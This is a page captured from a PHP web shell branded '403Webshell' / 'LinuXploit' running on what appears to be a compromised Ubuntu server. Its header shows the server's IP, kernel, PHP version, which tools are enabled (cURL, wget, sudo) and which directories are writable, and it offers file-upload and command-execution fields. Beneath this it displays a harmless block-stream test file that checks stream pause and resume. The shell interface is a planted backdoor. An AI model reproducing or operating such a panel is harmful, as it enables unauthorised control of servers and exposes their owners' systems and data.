403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/block-stream/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/block-stream/test/pause-resume.js
var BlockStream = require("../block-stream.js")

var blockSizes = [16]
  , writeSizes = [15, 16, 17]
  , writeCounts = [1, 10]//, 100]
  , tap = require("tap")

writeCounts.forEach(function (writeCount) {
blockSizes.forEach(function (blockSize) {
writeSizes.forEach(function (writeSize) {
  tap.test("writeSize=" + writeSize +
           " blockSize="+blockSize +
           " writeCount="+writeCount, function (t) {
    var f = new BlockStream(blockSize)

    var actualChunks = 0
    var actualBytes = 0
    var timeouts = 0
    var paused = false

    f.on("data", function (c) {
      timeouts ++
      t.notOk(paused, "should not be paused when emitting data")

      actualChunks ++
      actualBytes += c.length

      // make sure that no data gets corrupted, and basic sanity
      var before = c.toString()
      // simulate a slow write operation
      paused = true
      f.pause()
      process.nextTick(function () {
        var after = c.toString()
        t.equal(after, before, "should not change data")

        // now corrupt it, to find leaks.
        for (var i = 0; i < c.length; i ++) {
          c[i] = "x".charCodeAt(0)
        }
        paused = false
        f.resume()
        timeouts --
      })
    })

    f.on("end", function () {
      // round up to the nearest block size
      var expectChunks = Math.ceil(writeSize * writeCount  * 2 / blockSize)
      var expectBytes = expectChunks * blockSize
      t.equal(actualBytes, expectBytes,
              "bytes=" + expectBytes + " writeSize=" + writeSize)
      t.equal(actualChunks, expectChunks,
              "chunks=" + expectChunks + " writeSize=" + writeSize)

      // wait for all the timeout checks to finish, then end the test
      setTimeout(function WAIT () {
        if (timeouts > 0) return setTimeout(WAIT)
        t.end()
      }, 200)
    })

    for (var i = 0; i < writeCount; i ++) {
      var a = new Buffer(writeSize);
      for (var j = 0; j < writeSize; j ++) a[j] = "a".charCodeAt(0)
      var b = new Buffer(writeSize);
      for (var j = 0; j < writeSize; j ++) b[j] = "b".charCodeAt(0)
      f.write(a)
      f.write(b)
    }
    f.end()
  })
}) }) })

Youez - 2016 - github.com/yon3zu
LinuXploit